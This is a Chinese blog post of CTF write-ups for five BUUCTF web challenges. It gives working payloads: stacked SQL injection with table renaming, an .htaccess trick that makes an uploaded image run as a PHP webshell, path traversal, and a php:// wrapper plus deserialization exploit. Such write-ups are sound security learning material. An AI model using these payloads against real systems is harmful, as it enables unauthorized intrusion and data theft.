buu刷题记录1.28

[强网杯 2019]随便注

知识点

sql堆叠注入

解题

打开页面就是这样的
在这里插入图片描述
提交1,返回正常,找到注入点是inject

img

注入?inject=-1' union select 1, 2%23

img

发现许多关键词都过滤了,没有过滤show,可以尝试堆叠注入

注入?inject=-1' ;show databases;%23 爆数据库

img

得到数据库名ctftraining information_schema mysql performance_schema supersqli test

继续注入?inject=-1' ;show tables;%23 爆表

img

得到表名1919810931114514 words

继续注入

?inject=-1' ;show columns from (反引号)1919810931114514(反引号);%23 爆字段,,,这里数字表名要用``包裹起来

img

得到字段名varchar(100) flag

不能直接得到flag,但是因为没有过滤alert和rename,这里要采用改表名的办法

1.将words表改名为words1或其它任意名字
2.1919810931114514改名为words
3.将flag列改名为id

1';RENAME TABLE `words` TO `words1`;
# 把 words 改名为 words1
RENAME TABLE `1919810931114514` TO `words`;
# 数字表改名为 words
ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;  //character set 即字符集  COLLATE utf8_general_ci:数据库校对规则
新的 words 里的 flag 列改为 id (避免一开始无法查询)
show columns from words;#

所以payload就是/?inject=1';RENAME TABLEwordsTOwords1;RENAME TABLE1919810931114514TOwords;ALTER TABLEwordsCHANGEflagidVARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;%23

下面我们注入/?inject=1' or '1'='1就可以查flag了

[MRCTF2020]你传你🐎呢

知识点

1.什么是.htaccess文件?
答:htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

2.怎么利用.htaccess文件进行上传?

答:我们可以在.htaccess文件文件中加入php解析规则,比如,本题中就利用这个解析规则将jpg文件解析成php文件来执行。

解题

打开页面是这样的

img

还是之前的test.phtml文件,不管是php还是phtml都不能上传成功

img

将文件改为jpg格式,尝试上传

img

显示上传成功,并且返回了路径,但现在还不能用蚁剑进行连接,因为上传的是jpg文件,现在就需要在上传一个htaccess文件,将jpg文件解析成php文件

img

将这个htaccess文件上传,抓包,修改Content-Type

img

放包,也显示了路径,这个时候我们就可以用蚁剑进行连接了

img

连接蚁剑

img

得到flag~

[ACTF2020 新生赛]BackupFile

知识点

备份文件泄露,弱类型绕过

解题

打开页面是这样的

img

通过提示知道是备份文件泄露.rar .zip .7z .tar.gz .bak .swp .txt .html
以上是备份文件后缀,我们扫一下目录

img

得到源代码

img

看看代码,是让我们进行简单的弱类型绕过
php中两个等于号是弱等于
取str的123与key进行比较,(弱比较:如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行,在比较时该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。所以直接传入key=123就行)

img

得到flag~

[HCTF 2018]WarmUp

hint.php中给了flag的位置:
flag not here, and flag in ffffllllaaaagggg
checkFile()会截取到第一个问号:

$_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );

source.php?/会被当作目录,之后回溯目录就好了(linux)
/source.php?file=source.php?/…/…/…/…/…/…/…/ffffllllaaaagggg

[ZJCTF 2019]NiZhuanSiWei

在这里插入图片描述
这里由于要满足(file_get_contents($text,‘r’)===“welcome to the zjctf” 但并没有一个文件内容为welcome to the zjctf,所以我们直接用伪协议写一个

text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

$password用了反序列化处理,这里限制file不能有flag,那就先读一下useless.php源码

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

在这里插入图片描述
用这里的file_get_contents就没有不能含flag字符的限制了
Exp:

<?php

class Flag{  //flag.php  
    public $file="flag.php";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}
$a=new Flag();
print(serialize($a));
?>

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

得到flag~

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值